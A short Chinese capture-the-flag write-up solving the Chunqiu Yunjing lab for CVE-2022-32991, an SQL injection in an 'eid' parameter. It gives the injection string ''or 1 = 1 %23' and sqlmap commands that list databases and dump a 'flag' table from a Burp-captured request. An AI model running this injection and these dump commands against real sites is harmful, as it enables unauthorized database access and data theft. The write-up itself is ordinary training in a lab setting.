SQL注入：【春秋云镜】CVE-2022-32991

# 0x01 题目

CVE-2022-32991

# 0x02 解题思路

漏洞查询：CVE-2022-32991  了解到在eid参数中

打开网站任意填写内容注册

找到eid参数存在的页面，尝试简单拼接 'or 1 = 1 %23  执行达到效果

Burp拦截包 ，请求内容保存为 *.txt

祭出sqlmap 执行 sqlmap -r eid.txt --batch --dbs

成功爆出库

接下来爆出表列表字段内容便可

sqlmap -r eid.txt --batch -D 'ctf' --tables -T 'flag' --columns -C 'flag' --dump

解题完成

# 0x03 链接

https://yunjing.ichunqiu.com/cve/detail/750?type=1&pay=2

http://www.scap.org.cn/vuln/VHN-425120